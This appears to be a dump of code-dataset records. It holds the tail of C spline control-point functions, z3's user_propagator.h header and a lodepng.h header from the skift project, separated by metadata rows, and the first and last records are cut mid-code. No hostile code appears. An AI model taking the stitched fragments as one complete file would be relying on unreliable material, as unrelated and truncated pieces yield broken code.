double len = (pp->me.x-p->me.x)*(pp->me.x-p->me.x) + (pp->me.y-p->me.y)*(pp->me.y-p->me.y);
double d1 = (p_pcp.x-p->me.x)*(pp->me.x-p->me.x) + (p_pcp.y-p->me.y)*(pp->me.y-p->me.y);
double d2 = (p_pcp.x-pp->me.x)*(p->me.x-pp->me.x) + (p_pcp.y-pp->me.y)*(p->me.y-pp->me.y);
if ( d1>=0 && d1<=len && d2>=0 && d2<=len ) {
if ( rint(2*p->me.x)==2*p->me.x && rint(2*pp->me.x)==2*pp->me.x )
p_pcp.x = rint( p_pcp.x );
if ( rint(2*p->me.y)==2*p->me.y && rint(2*pp->me.y)==2*pp->me.y )
p_pcp.y = rint( p_pcp.y );
p->prevcp = pp->nextcp = p_pcp;
SplineRefigure2(p->prev);
}
}
}
}
}
}
}
void SplinePointNextCPChanged2(SplinePoint *sp) {
SplinePoint *n, *nn;
BasePoint n_ncp;
if ( sp->next!=NULL ) {
n = sp->next->to;
if ( SPInterpolate(n) && !sp->nonextcp ) {
n->prevcp = sp->nextcp;
n->me.x = ( n->prevcp.x+n->nextcp.x)/2;
n->me.y = ( n->prevcp.y+n->nextcp.y)/2;
SplineRefigure2(sp->next);
if (n->next != NULL) SplineRefigure2(n->next);
} else {
n->prevcp = sp->nextcp;
n->noprevcp = sp->nonextcp;
if ( sp->nonextcp ) {
n->noprevcp = true;
n->prevcp = n->me;
SplineRefigure2(sp->next);
} else if (( n->pointtype==pt_curve || n->pointtype==pt_hvcurve ) &&
!n->nonextcp ) {
SplineRefigure2(sp->next);
if ( n->next==NULL ) {
double len1, len2;
len1 = sqrt((n->prevcp.x-n->me.x)*(n->prevcp.x-n->me.x) +
(n->prevcp.y-n->me.y)*(n->prevcp.y-n->me.y));
len2 = sqrt((n->nextcp.x-n->me.x)*(n->nextcp.x-n->me.x) +
(n->nextcp.y-n->me.y)*(n->nextcp.y-n->me.y));
len2 /= len1;
n->nextcp.x = rint(len2 * (n->me.x-n->nextcp.x) + n->me.x);
n->nextcp.y = rint(len2 * (n->me.y-n->nextcp.y) + n->me.y);
} else {
nn = n->next->to;
/* Find the intersection (if any) of the lines between */
/* nn->prevcp&nn->me with n->nextcp&.->me */
if ( IntersectLines(&n_ncp,&nn->prevcp,&nn->me,&n->prevcp,&n->me)) {
double len = (nn->me.x-n->me.x)*(nn->me.x-n->me.x) + (nn->me.y-n->me.y)*(nn->me.y-n->me.y);
double d1 = (n_ncp.x-n->me.x)*(nn->me.x-n->me.x) + (n_ncp.y-n->me.y)*(nn->me.y-n->me.y);
double d2 = (n_ncp.x-nn->me.x)*(n->me.x-nn->me.x) + (n_ncp.y-nn->me.y)*(n->me.y-nn->me.y);
if ( d1>=0 && d1<=len && d2>=0 && d2<=len ) {
if ( rint(2*n->me.x)==2*n->me.x && rint(2*nn->me.x)==2*nn->me.x )
n_ncp.x = rint( n_ncp.x);
if ( rint(2*n->me.y)==2*n->me.y && rint(2*nn->me.y)==2*nn->me.y )
n_ncp.y = rint( n_ncp.y);
n->nextcp = nn->prevcp = n_ncp;
SplineRefigure2(n->next);
}
}
}
}
}
}
}
| 34.951025 | 181 | 0.593101 | [
"shape",
"vector"
] |
d905478f2eb334c6121676c98d1e9a3080ae4e48 | 3,427 | h | C | src/smt/user_propagator.h | FedericoAureliano/z3 | ba4a218fc09cd17d4681c0e7b7048dd61b908793 | [
"MIT"
] | null | null | null | src/smt/user_propagator.h | FedericoAureliano/z3 | ba4a218fc09cd17d4681c0e7b7048dd61b908793 | [
"MIT"
] | null | null | null | src/smt/user_propagator.h | FedericoAureliano/z3 | ba4a218fc09cd17d4681c0e7b7048dd61b908793 | [
"MIT"
] | null | null | null | /*++
Copyright (c) 2020 Microsoft Corporation
Module Name:
user_propagator.h
Abstract:
User-propagator plugin.
Adds user plugins to propagate based on
terms receiving fixed values.
Author:
Nikolaj Bjorner (nbjorner) 2020-08-17
Notes:
- could also be complemented with disequalities to fixed values to narrow range of variables.
--*/
#pragma once
#include "smt/smt_theory.h"
namespace smt {
class user_propagator : public theory {
void* m_user_context;
std::function<void(void*, unsigned, expr*)> m_fixed_eh;
std::function<void(void*)> m_push_eh;
std::function<void(void*, unsigned)> m_pop_eh;
std::function<void*(void*)> m_fresh_eh;
struct prop_info {
unsigned_vector m_ids;
expr_ref m_conseq;
prop_info(unsigned sz, unsigned const* ids, expr_ref const& c):
m_ids(sz, ids),
m_conseq(c)
{}
};
unsigned m_qhead;
vector<prop_info> m_prop;
unsigned_vector m_prop_lim;
vector<literal_vector> m_id2justification;
unsigned m_num_scopes;
void force_push();
public:
user_propagator(context& ctx);
~user_propagator() override {}
/*
* \brief initial setup for user propagator.
*/
void add(
void* ctx,
std::function<void(void*, unsigned, expr*)>& fixed_eh,
std::function<void(void*)>& push_eh,
std::function<void(void*, unsigned)>& pop_eh,
std::function<void*(void*)>& fresh_eh) {
m_user_context = ctx;
m_fixed_eh = fixed_eh;
m_push_eh = push_eh;
m_pop_eh = pop_eh;
m_fresh_eh = fresh_eh;
}
unsigned add_expr(expr* e);
void add_propagation(unsigned sz, unsigned const* ids, expr* conseq);
void new_fixed_eh(theory_var v, expr* value, unsigned num_lits, literal const* jlits);
theory * mk_fresh(context * new_ctx) override;
bool internalize_atom(app * atom, bool gate_ctx) override { UNREACHABLE(); return false; }
bool internalize_term(app * term) override { UNREACHABLE(); return false; }
void new_eq_eh(theory_var v1, theory_var v2) override { }
void new_diseq_eh(theory_var v1, theory_var v2) override { }
bool use_diseqs() const override { return false; }
bool build_models() const override { return false; }
final_check_status final_check_eh() override { return FC_DONE; }
void reset_eh() override {}
void assign_eh(bool_var v, bool is_true) override { }
void init_search_eh() override {}
void push_scope_eh() override;
void pop_scope_eh(unsigned num_scopes) override;
void restart_eh() override {}
void collect_statistics(::statistics & st) const override {}
model_value_proc * mk_value(enode * n, model_generator & mg) override { return nullptr; }
void init_model(model_generator & m) override {}
bool include_func_interp(func_decl* f) override { return false; }
bool can_propagate() override;
void propagate() override;
void display(std::ostream& out) const {}
};
};
| 33.598039 | 98 | 0.594981 | [
"vector"
] |
d905ad97e2b19c2e7404c03e4850aa41458cafc2 | 46,749 | h | C | libraries/libgraphic/lodepng.h | RossComputerPerson/skift | e42e349011206c0d140a856e835f5682fc96f4ef | [
"MIT"
] | null | null | null | libraries/libgraphic/lodepng.h | RossComputerPerson/skift | e42e349011206c0d140a856e835f5682fc96f4ef | [
"MIT"
] | null | null | null | libraries/libgraphic/lodepng.h | RossComputerPerson/skift | e42e349011206c0d140a856e835f5682fc96f4ef | [
"MIT"
] | null | null | null | /*
LodePNG version 20190210
Copyright (c) 2005-2019 Lode Vandevenne
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source
distribution.
*/
#pragma once
#include <libsystem/cstring.h>
extern const char* LODEPNG_VERSION_STRING;
/*
The following #defines are used to create code sections. They can be disabled
to disable code sections, which can give faster compile time and smaller binary.
The "NO_COMPILE" defines are designed to be used to pass as defines to the
compiler command to disable them without modifying this header, e.g.
-DLODEPNG_NO_COMPILE_ZLIB for gcc.
In addition to those below, you can also define LODEPNG_NO_COMPILE_CRC to
allow implementing a custom lodepng_crc32.
*/
/*deflate & zlib. If disabled, you must specify alternative zlib functions in
the custom_zlib field of the compress and decompress settings*/
#ifndef LODEPNG_NO_COMPILE_ZLIB
#define LODEPNG_COMPILE_ZLIB
#endif
/*png encoder and png decoder*/
#ifndef LODEPNG_NO_COMPILE_PNG
#define LODEPNG_COMPILE_PNG
#endif
/*deflate&zlib decoder and png decoder*/
#ifndef LODEPNG_NO_COMPILE_DECODER
#define LODEPNG_COMPILE_DECODER
#endif
/*deflate&zlib encoder and png encoder*/
#ifndef LODEPNG_NO_COMPILE_ENCODER
#define LODEPNG_COMPILE_ENCODER
#endif
/*the optional built in harddisk file loading and saving functions*/
#ifndef LODEPNG_NO_COMPILE_DISK
#define LODEPNG_COMPILE_DISK
#endif
/*support for chunks other than IHDR, IDAT, PLTE, tRNS, IEND: ancillary and unknown chunks*/
#ifndef LODEPNG_NO_COMPILE_ANCILLARY_CHUNKS
#define LODEPNG_COMPILE_ANCILLARY_CHUNKS
#endif
/*ability to convert error numerical codes to English text string*/
#ifndef LODEPNG_NO_COMPILE_ERROR_TEXT
#define LODEPNG_COMPILE_ERROR_TEXT
#endif
/*Compile the default allocators (C's free, malloc and realloc). If you disable this,
you can define the functions lodepng_free, lodepng_malloc and lodepng_realloc in your
source files with custom allocators.*/
#ifndef LODEPNG_NO_COMPILE_ALLOCATORS
#define LODEPNG_COMPILE_ALLOCATORS
#endif
/*compile the C++ version (you can disable the C++ wrapper here even when compiling for C++)*/
#ifdef __cplusplus
#ifndef LODEPNG_NO_COMPILE_CPP
#define LODEPNG_COMPILE_CPP
#endif
#endif
#ifdef LODEPNG_COMPILE_CPP
#include <vector>
#include <string>
#endif /*LODEPNG_COMPILE_CPP*/
#ifdef LODEPNG_COMPILE_PNG
/*The PNG color types (also used for raw).*/
typedef enum LodePNGColorType {
LCT_GREY = 0, /*grayscale: 1,2,4,8,16 bit*/
LCT_RGB = 2, /*RGB: 8,16 bit*/
LCT_PALETTE = 3, /*palette: 1,2,4,8 bit*/
LCT_GREY_ALPHA = 4, /*grayscale with alpha: 8,16 bit*/
LCT_RGBA = 6 /*RGB with alpha: 8,16 bit*/
} LodePNGColorType;
#ifdef LODEPNG_COMPILE_DECODER
/*
Converts PNG data in memory to raw pixel data.
out: Output parameter. Pointer to buffer that will contain the raw pixel data.
After decoding, its size is w * h * (bytes per pixel) bytes larger than
initially. Bytes per pixel depends on colortype and bitdepth.
Must be freed after usage with free(*out).
Note: for 16-bit per channel colors, uses big endian format like PNG does.
w: Output parameter. Pointer to width of pixel data.
h: Output parameter. Pointer to height of pixel data.
in: Memory buffer with the PNG file.
insize: size of the in buffer.
colortype: the desired color type for the raw output image. See explanation on PNG color types.
bitdepth: the desired bit depth for the raw output image. See explanation on PNG color types.
Return value: LodePNG error code (0 means no error).
*/
unsigned lodepng_decode_memory(unsigned char** out, unsigned* w, unsigned* h,
const unsigned char* in, size_t insize,
LodePNGColorType colortype, unsigned bitdepth);
/*Same as lodepng_decode_memory, but always decodes to 32-bit RGBA raw image*/
unsigned lodepng_decode32(unsigned char** out, unsigned* w, unsigned* h,
const unsigned char* in, size_t insize);
/*Same as lodepng_decode_memory, but always decodes to 24-bit RGB raw image*/
unsigned lodepng_decode24(unsigned char** out, unsigned* w, unsigned* h,
const unsigned char* in, size_t insize);
#ifdef LODEPNG_COMPILE_DISK
/*
Load PNG from disk, from file with given name.
Same as the other decode functions, but instead takes a filename as input.
*/
unsigned lodepng_decode_file(unsigned char** out, unsigned* w, unsigned* h,
const char* filename,
LodePNGColorType colortype, unsigned bitdepth);
/*Same as lodepng_decode_file, but always decodes to 32-bit RGBA raw image.*/
unsigned lodepng_decode32_file(unsigned char** out, unsigned* w, unsigned* h,
const char* filename);
/*Same as lodepng_decode_file, but always decodes to 24-bit RGB raw image.*/
unsigned lodepng_decode24_file(unsigned char** out, unsigned* w, unsigned* h,
const char* filename);
#endif /*LODEPNG_COMPILE_DISK*/
#endif /*LODEPNG_COMPILE_DECODER*/
#ifdef LODEPNG_COMPILE_ENCODER
/*
Converts raw pixel data into a PNG image in memory. The colortype and bitdepth
of the output PNG image cannot be chosen, they are automatically determined
by the colortype, bitdepth and content of the input pixel data.
Note: for 16-bit per channel colors, needs big endian format like PNG does.
out: Output parameter. Pointer to buffer that will contain the PNG image data.
Must be freed after usage with free(*out).
outsize: Output parameter. Pointer to the size in bytes of the out buffer.
image: The raw pixel data to encode. The size of this buffer should be
w * h * (bytes per pixel), bytes per pixel depends on colortype and bitdepth.
w: width of the raw pixel data in pixels.
h: height of the raw pixel data in pixels.
colortype: the color type of the raw input image. See explanation on PNG color types.
bitdepth: the bit depth of the raw input image. See explanation on PNG color types.
Return value: LodePNG error code (0 means no error).
*/
unsigned lodepng_encode_memory(unsigned char** out, size_t* outsize,
const unsigned char* image, unsigned w, unsigned h,
LodePNGColorType colortype, unsigned bitdepth);
/*Same as lodepng_encode_memory, but always encodes from 32-bit RGBA raw image.*/
unsigned lodepng_encode32(unsigned char** out, size_t* outsize,
const unsigned char* image, unsigned w, unsigned h);
/*Same as lodepng_encode_memory, but always encodes from 24-bit RGB raw image.*/
unsigned lodepng_encode24(unsigned char** out, size_t* outsize,
const unsigned char* image, unsigned w, unsigned h);
#ifdef LODEPNG_COMPILE_DISK
/*
Converts raw pixel data into a PNG file on disk.
Same as the other encode functions, but instead takes a filename as output.
NOTE: This overwrites existing files without warning!
*/
unsigned lodepng_encode_file(const char* filename,
const unsigned char* image, unsigned w, unsigned h,
LodePNGColorType colortype, unsigned bitdepth);
/*Same as lodepng_encode_file, but always encodes from 32-bit RGBA raw image.*/
unsigned lodepng_encode32_file(const char* filename,
const unsigned char* image, unsigned w, unsigned h);
/*Same as lodepng_encode_file, but always encodes from 24-bit RGB raw image.*/
unsigned lodepng_encode24_file(const char* filename,
const unsigned char* image, unsigned w, unsigned h);
#endif /*LODEPNG_COMPILE_DISK*/
#endif /*LODEPNG_COMPILE_ENCODER*/
#ifdef LODEPNG_COMPILE_CPP
namespace lodepng {
#ifdef LODEPNG_COMPILE_DECODER
/*Same as lodepng_decode_memory, but decodes to an std::vector. The colortype
is the format to output the pixels to. Default is RGBA 8-bit per channel.*/
unsigned decode(std::vector<unsigned char>& out, unsigned& w, unsigned& h,
const unsigned char* in, size_t insize,
LodePNGColorType colortype = LCT_RGBA, unsigned bitdepth = 8);
unsigned decode(std::vector<unsigned char>& out, unsigned& w, unsigned& h,
const std::vector<unsigned char>& in,
LodePNGColorType colortype = LCT_RGBA, unsigned bitdepth = 8);
#ifdef LODEPNG_COMPILE_DISK
/*
Converts PNG file from disk to raw pixel data in memory.
Same as the other decode functions, but instead takes a filename as input.
*/
unsigned decode(std::vector<unsigned char>& out, unsigned& w, unsigned& h,
const std::string& filename,
LodePNGColorType colortype = LCT_RGBA, unsigned bitdepth = 8);
#endif /* LODEPNG_COMPILE_DISK */
#endif /* LODEPNG_COMPILE_DECODER */
#ifdef LODEPNG_COMPILE_ENCODER
/*Same as lodepng_encode_memory, but encodes to an std::vector. colortype
is that of the raw input data. The output PNG color type will be auto chosen.*/
unsigned encode(std::vector<unsigned char>& out,
const unsigned char* in, unsigned w, unsigned h,
LodePNGColorType colortype = LCT_RGBA, unsigned bitdepth = 8);
unsigned encode(std::vector<unsigned char>& out,
const std::vector<unsigned char>& in, unsigned w, unsigned h,
LodePNGColorType colortype = LCT_RGBA, unsigned bitdepth = 8);
#ifdef LODEPNG_COMPILE_DISK
/*
Converts 32-bit RGBA raw pixel data into a PNG file on disk.
Same as the other encode functions, but instead takes a filename as output.
NOTE: This overwrites existing files without warning!
*/
unsigned encode(const std::string& filename,
const unsigned char* in, unsigned w, unsigned h,
LodePNGColorType colortype = LCT_RGBA, unsigned bitdepth = 8);
unsigned encode(const std::string& filename,
const std::vector<unsigned char>& in, unsigned w, unsigned h,
LodePNGColorType colortype = LCT_RGBA, unsigned bitdepth = 8);
#endif /* LODEPNG_COMPILE_DISK */
#endif /* LODEPNG_COMPILE_ENCODER */
} /* namespace lodepng */
#endif /*LODEPNG_COMPILE_CPP*/
#endif /*LODEPNG_COMPILE_PNG*/
#ifdef LODEPNG_COMPILE_ERROR_TEXT
/*Returns an English description of the numerical error code.*/
const char* lodepng_error_text(unsigned code);
#endif /*LODEPNG_COMPILE_ERROR_TEXT*/
#ifdef LODEPNG_COMPILE_DECODER
/*Settings for zlib decompression*/
typedef struct LodePNGDecompressSettings LodePNGDecompressSettings;
struct LodePNGDecompressSettings {
/* Check LodePNGDecoderSettings for more ignorable errors such as ignore_crc */
unsigned ignore_adler32; /*if 1, continue and don't give an error message if the Adler32 checksum is corrupted*/
/*use custom zlib decoder instead of built in one (default: null)*/
unsigned (*custom_zlib)(unsigned char**, size_t*,
const unsigned char*, size_t,
const LodePNGDecompressSettings*);
/*use custom deflate decoder instead of built in one (default: null)
if custom_zlib is used, custom_deflate is ignored since only the built in
zlib function will call custom_deflate*/
unsigned (*custom_inflate)(unsigned char**, size_t*,
const unsigned char*, size_t,
const LodePNGDecompressSettings*);
const void* custom_context; /*optional custom settings for custom functions*/
};
extern const LodePNGDecompressSettings lodepng_default_decompress_settings;
void lodepng_decompress_settings_init(LodePNGDecompressSettings* settings);
#endif /*LODEPNG_COMPILE_DECODER*/
#ifdef LODEPNG_COMPILE_ENCODER
/*
Settings for zlib compression. Tweaking these settings tweaks the balance
between speed and compression ratio.
*/
typedef struct LodePNGCompressSettings LodePNGCompressSettings;
struct LodePNGCompressSettings /*deflate = compress*/ {
/*LZ77 related settings*/
unsigned btype; /*the block type for LZ (0, 1, 2 or 3, see zlib standard). Should be 2 for proper compression.*/
unsigned use_lz77; /*whether or not to use LZ77. Should be 1 for proper compression.*/
unsigned windowsize; /*must be a power of two <= 32768. higher compresses more but is slower. Default value: 2048.*/
unsigned minmatch; /*mininum lz77 length. 3 is normally best, 6 can be better for some PNGs. Default: 0*/
unsigned nicematch; /*stop searching if >= this length found. Set to 258 for best compression. Default: 128*/
unsigned lazymatching; /*use lazy matching: better compression but a bit slower. Default: true*/
/*use custom zlib encoder instead of built in one (default: null)*/
unsigned (*custom_zlib)(unsigned char**, size_t*,
const unsigned char*, size_t,
const LodePNGCompressSettings*);
/*use custom deflate encoder instead of built in one (default: null)
if custom_zlib is used, custom_deflate is ignored since only the built in
zlib function will call custom_deflate*/
unsigned (*custom_deflate)(unsigned char**, size_t*,
const unsigned char*, size_t,
const LodePNGCompressSettings*);
const void* custom_context; /*optional custom settings for custom functions*/
};
extern const LodePNGCompressSettings lodepng_default_compress_settings;
void lodepng_compress_settings_init(LodePNGCompressSettings* settings);
#endif /*LODEPNG_COMPILE_ENCODER*/
#ifdef LODEPNG_COMPILE_PNG
/*
Color mode of an image. Contains all information required to decode the pixel
bits to RGBA colors. This information is the same as used in the PNG file
format, and is used both for PNG and raw image data in LodePNG.
*/
typedef struct LodePNGColorMode {
/*header (IHDR)*/
LodePNGColorType colortype; /*color type, see PNG standard or documentation further in this header file*/
unsigned bitdepth; /*bits per sample, see PNG standard or documentation further in this header file*/
/*
palette (PLTE and tRNS)
Dynamically allocated with the colors of the palette, including alpha.
When encoding a PNG, to store your colors in the palette of the LodePNGColorMode, first use
lodepng_palette_clear, then for each color use lodepng_palette_add.
If you encode an image without alpha with palette, don't forget to put value 255 in each A byte of the palette.
When decoding, by default you can ignore this palette, since LodePNG already
fills the palette colors in the pixels of the raw RGBA output.
The palette is only supported for color type 3.
*/
unsigned char* palette; /*palette in RGBARGBA... order. When allocated, must be either 0, or have size 1024*/
size_t palettesize; /*palette size in number of colors (amount of bytes is 4 * palettesize)*/
/*
transparent color key (tRNS)
This color uses the same bit depth as the bitdepth value in this struct, which can be 1-bit to 16-bit.
For grayscale PNGs, r, g and b will all 3 be set to the same.
When decoding, by default you can ignore this information, since LodePNG sets
pixels with this key to transparent already in the raw RGBA output.
The color key is only supported for color types 0 and 2.
*/
unsigned key_defined; /*is a transparent color key given? 0 = false, 1 = true*/
unsigned key_r; /*red/grayscale component of color key*/
unsigned key_g; /*green component of color key*/
unsigned key_b; /*blue component of color key*/
} LodePNGColorMode;
/*init, cleanup and copy functions to use with this struct*/
void lodepng_color_mode_init(LodePNGColorMode* info);
void lodepng_color_mode_cleanup(LodePNGColorMode* info);
/*return value is error code (0 means no error)*/
unsigned lodepng_color_mode_copy(LodePNGColorMode* dest, const LodePNGColorMode* source);
/* Makes a temporary LodePNGColorMode that does not need cleanup (no palette) */
LodePNGColorMode lodepng_color_mode_make(LodePNGColorType colortype, unsigned bitdepth);
void lodepng_palette_clear(LodePNGColorMode* info);
/*add 1 color to the palette*/
unsigned lodepng_palette_add(LodePNGColorMode* info,
unsigned char r, unsigned char g, unsigned char b, unsigned char a);
/*get the total amount of bits per pixel, based on colortype and bitdepth in the struct*/
unsigned lodepng_get_bpp(const LodePNGColorMode* info);
/*get the amount of color channels used, based on colortype in the struct.
If a palette is used, it counts as 1 channel.*/
unsigned lodepng_get_channels(const LodePNGColorMode* info);
/*is it a grayscale type? (only colortype 0 or 4)*/
unsigned lodepng_is_greyscale_type(const LodePNGColorMode* info);
/*has it got an alpha channel? (only colortype 2 or 6)*/
unsigned lodepng_is_alpha_type(const LodePNGColorMode* info);
/*has it got a palette? (only colortype 3)*/
unsigned lodepng_is_palette_type(const LodePNGColorMode* info);
/*only returns true if there is a palette and there is a value in the palette with alpha < 255.
Loops through the palette to check this.*/
unsigned lodepng_has_palette_alpha(const LodePNGColorMode* info);
/*
Check if the given color info indicates the possibility of having non-opaque pixels in the PNG image.
Returns true if the image can have translucent or invisible pixels (it still be opaque if it doesn't use such pixels).
Returns false if the image can only have opaque pixels.
In detail, it returns true only if it's a color type with alpha, or has a palette with non-opaque values,
or if "key_defined" is true.
*/
unsigned lodepng_can_have_alpha(const LodePNGColorMode* info);
/*Returns the byte size of a raw image buffer with given width, height and color mode*/
size_t lodepng_get_raw_size(unsigned w, unsigned h, const LodePNGColorMode* color);
#ifdef LODEPNG_COMPILE_ANCILLARY_CHUNKS
/*The information of a Time chunk in PNG.*/
typedef struct LodePNGTime {
unsigned year; /*2 bytes used (0-65535)*/
unsigned month; /*1-12*/
unsigned day; /*1-31*/
unsigned hour; /*0-23*/
unsigned minute; /*0-59*/
unsigned second; /*0-60 (to allow for leap seconds)*/
} LodePNGTime;
#endif /*LODEPNG_COMPILE_ANCILLARY_CHUNKS*/
/*Information about the PNG image, except pixels, width and height.*/
typedef struct LodePNGInfo {
/*header (IHDR), palette (PLTE) and transparency (tRNS) chunks*/
unsigned compression_method;/*compression method of the original file. Always 0.*/
unsigned filter_method; /*filter method of the original file*/
unsigned interlace_method; /*interlace method of the original file: 0=none, 1=Adam7*/
LodePNGColorMode color; /*color type and bits, palette and transparency of the PNG file*/
#ifdef LODEPNG_COMPILE_ANCILLARY_CHUNKS
/*
Suggested background color chunk (bKGD)
This uses the same color mode and bit depth as the PNG (except no alpha channel),
with values truncated to the bit depth in the unsigned integer.
For grayscale and palette PNGs, the value is stored in background_r. The values
in background_g and background_b are then unused.
So when decoding, you may get these in a different color mode than the one you requested
for the raw pixels.
When encoding with auto_convert, you must use the color model defined in info_png.color for
these values. The encoder normally ignores info_png.color when auto_convert is on, but will
use it to interpret these values (and convert copies of them to its chosen color model).
When encoding, avoid setting this to an expensive color, such as a non-gray value
when the image is gray, or the compression will be worse since it will be forced to
write the PNG with a more expensive color mode (when auto_convert is on).
The decoder does not use this background color to edit the color of pixels. This is a
completely optional metadata feature.
*/
unsigned background_defined; /*is a suggested background color given?*/
unsigned background_r; /*red/gray/palette component of suggested background color*/
unsigned background_g; /*green component of suggested background color*/
unsigned background_b; /*blue component of suggested background color*/
/*
non-international text chunks (tEXt and zTXt)
The char** arrays each contain num strings. The actual messages are in
text_strings, while text_keys are keywords that give a short description what
the actual text represents, e.g. Title, Author, Description, or anything else.
All the string fields below including keys, names and language tags are null terminated.
The PNG specification uses null characters for the keys, names and tags, and forbids null
characters to appear in the main text which is why we can use null termination everywhere here.
A keyword is minimum 1 character and maximum 79 characters long. It's
discouraged to use a single line length longer than 79 characters for texts.
Don't allocate these text buffers yourself. Use the init/cleanup functions
correctly and use lodepng_add_text and lodepng_clear_text.
*/
size_t text_num; /*the amount of texts in these char** buffers (there may be more texts in itext)*/
char** text_keys; /*the keyword of a text chunk (e.g. "Comment")*/
char** text_strings; /*the actual text*/
/*
international text chunks (iTXt)
Similar to the non-international text chunks, but with additional strings
"langtags" and "transkeys".
*/
size_t itext_num; /*the amount of international texts in this PNG*/
char** itext_keys; /*the English keyword of the text chunk (e.g. "Comment")*/
char** itext_langtags; /*language tag for this text's language, ISO/IEC 646 string, e.g. ISO 639 language tag*/
char** itext_transkeys; /*keyword translated to the international language - UTF-8 string*/
char** itext_strings; /*the actual international text - UTF-8 string*/
/*time chunk (tIME)*/
unsigned time_defined; /*set to 1 to make the encoder generate a tIME chunk*/
LodePNGTime time;
/*phys chunk (pHYs)*/
unsigned phys_defined; /*if 0, there is no pHYs chunk and the values below are undefined, if 1 else there is one*/
unsigned phys_x; /*pixels per unit in x direction*/
unsigned phys_y; /*pixels per unit in y direction*/
unsigned phys_unit; /*may be 0 (unknown unit) or 1 (metre)*/
/*
Color profile related chunks: gAMA, cHRM, sRGB, iCPP
LodePNG does not apply any color conversions on pixels in the encoder or decoder and does not interpret these color
profile values. It merely passes on the information. If you wish to use color profiles and convert colors, please
use these values with a color management library.
See the PNG, ICC and sRGB specifications for more information about the meaning of these values.
*/
/* gAMA chunk: optional, overridden by sRGB or iCCP if those are present. */
unsigned gama_defined; /* Whether a gAMA chunk is present (0 = not present, 1 = present). */
unsigned gama_gamma; /* Gamma exponent times 100000 */
/* cHRM chunk: optional, overridden by sRGB or iCCP if those are present. */
unsigned chrm_defined; /* Whether a cHRM chunk is present (0 = not present, 1 = present). */
unsigned chrm_white_x; /* White Point x times 100000 */
unsigned chrm_white_y; /* White Point y times 100000 */
unsigned chrm_red_x; /* Red x times 100000 */
unsigned chrm_red_y; /* Red y times 100000 */
unsigned chrm_green_x; /* Green x times 100000 */
unsigned chrm_green_y; /* Green y times 100000 */
unsigned chrm_blue_x; /* Blue x times 100000 */
unsigned chrm_blue_y; /* Blue y times 100000 */
/*
sRGB chunk: optional. May not appear at the same time as iCCP.
If gAMA is also present gAMA must contain value 45455.
If cHRM is also present cHRM must contain respectively 31270,32900,64000,33000,30000,60000,15000,6000.
*/
unsigned srgb_defined; /* Whether an sRGB chunk is present (0 = not present, 1 = present). */
unsigned srgb_intent; /* Rendering intent: 0=perceptual, 1=rel. colorimetric, 2=saturation, 3=abs. colorimetric */
/*
iCCP chunk: optional. May not appear at the same time as sRGB.
LodePNG does not parse or use the ICC profile (except its color space header field for an edge case), a
separate library to handle the ICC data (not included in LodePNG) format is needed to use it for color
management and conversions.
For encoding, if iCCP is present, gAMA and cHRM are recommended to be added as well with values that match the ICC
profile as closely as possible, if you wish to do this you should provide the correct values for gAMA and cHRM and
enable their '_defined' flags since LodePNG will not automatically compute them from the ICC profile.
For encoding, the ICC profile is required by the PNG specification to be an "RGB" profile for non-gray
PNG color types and a "GRAY" profile for gray PNG color types. If you disable auto_convert, you must ensure
the ICC profile type matches your requested color type, else the encoder gives an error. If auto_convert is
enabled (the default), and the ICC profile is not a good match for the pixel data, this will result in an encoder
error if the pixel data has non-gray pixels for a GRAY profile, or a silent less-optimal compression of the pixel
data if the pixels could be encoded as grayscale but the ICC profile is RGB.
To avoid this do not set an ICC profile in the image unless there is a good reason for it, and when doing so
make sure you compute it carefully to avoid the above problems.
*/
unsigned iccp_defined; /* Whether an iCCP chunk is present (0 = not present, 1 = present). */
char* iccp_name; /* Null terminated string with profile name, 1-79 bytes */
/*
The ICC profile in iccp_profile_size bytes.
Don't allocate this buffer yourself. Use the init/cleanup functions
correctly and use lodepng_set_icc and lodepng_clear_icc.
*/
unsigned char* iccp_profile;
unsigned iccp_profile_size; /* The size of iccp_profile in bytes */
/* End of color profile related chunks */
/*
unknown chunks: chunks not known by LodePNG, passed on byte for byte.
There are 3 buffers, one for each position in the PNG where unknown chunks can appear.
Each buffer contains all unknown chunks for that position consecutively.
The 3 positions are:
0: between IHDR and PLTE, 1: between PLTE and IDAT, 2: between IDAT and IEND.
For encoding, do not store critical chunks or known chunks that are enabled with a "_defined" flag
above in here, since the encoder will blindly follow this and could then encode an invalid PNG file
(such as one with two IHDR chunks or the disallowed combination of sRGB with iCCP). But do use
this if you wish to store an ancillary chunk that is not supported by LodePNG (such as sPLT or hIST),
or any non-standard PNG chunk.
Do not allocate or traverse this data yourself. Use the chunk traversing functions declared
later, such as lodepng_chunk_next and lodepng_chunk_append, to read/write this struct.
*/
unsigned char* unknown_chunks_data[3];
size_t unknown_chunks_size[3]; /*size in bytes of the unknown chunks, given for protection*/
#endif /*LODEPNG_COMPILE_ANCILLARY_CHUNKS*/
} LodePNGInfo;
/*init, cleanup and copy functions to use with this struct*/
void lodepng_info_init(LodePNGInfo* info);
void lodepng_info_cleanup(LodePNGInfo* info);
/*return value is error code (0 means no error)*/
unsigned lodepng_info_copy(LodePNGInfo* dest, const LodePNGInfo* source);
#ifdef LODEPNG_COMPILE_ANCILLARY_CHUNKS
unsigned lodepng_add_text(LodePNGInfo* info, const char* key, const char* str); /*push back both texts at once*/
void lodepng_clear_text(LodePNGInfo* info); /*use this to clear the texts again after you filled them in*/
unsigned lodepng_add_itext(LodePNGInfo* info, const char* key, const char* langtag,
const char* transkey, const char* str); /*push back the 4 texts of 1 chunk at once*/
void lodepng_clear_itext(LodePNGInfo* info); /*use this to clear the itexts again after you filled them in*/
/*replaces if exists*/
unsigned lodepng_set_icc(LodePNGInfo* info, const char* name, const unsigned char* profile, unsigned profile_size);
void lodepng_clear_icc(LodePNGInfo* info); /*use this to clear the texts again after you filled them in*/
#endif /*LODEPNG_COMPILE_ANCILLARY_CHUNKS*/
/*
Converts raw buffer from one color type to another color type, based on
LodePNGColorMode structs to describe the input and output color type.
See the reference manual at the end of this header file to see which color conversions are supported.
return value = LodePNG error code (0 if all went ok, an error if the conversion isn't supported)
The out buffer must have size (w * h * bpp + 7) / 8, where bpp is the bits per pixel
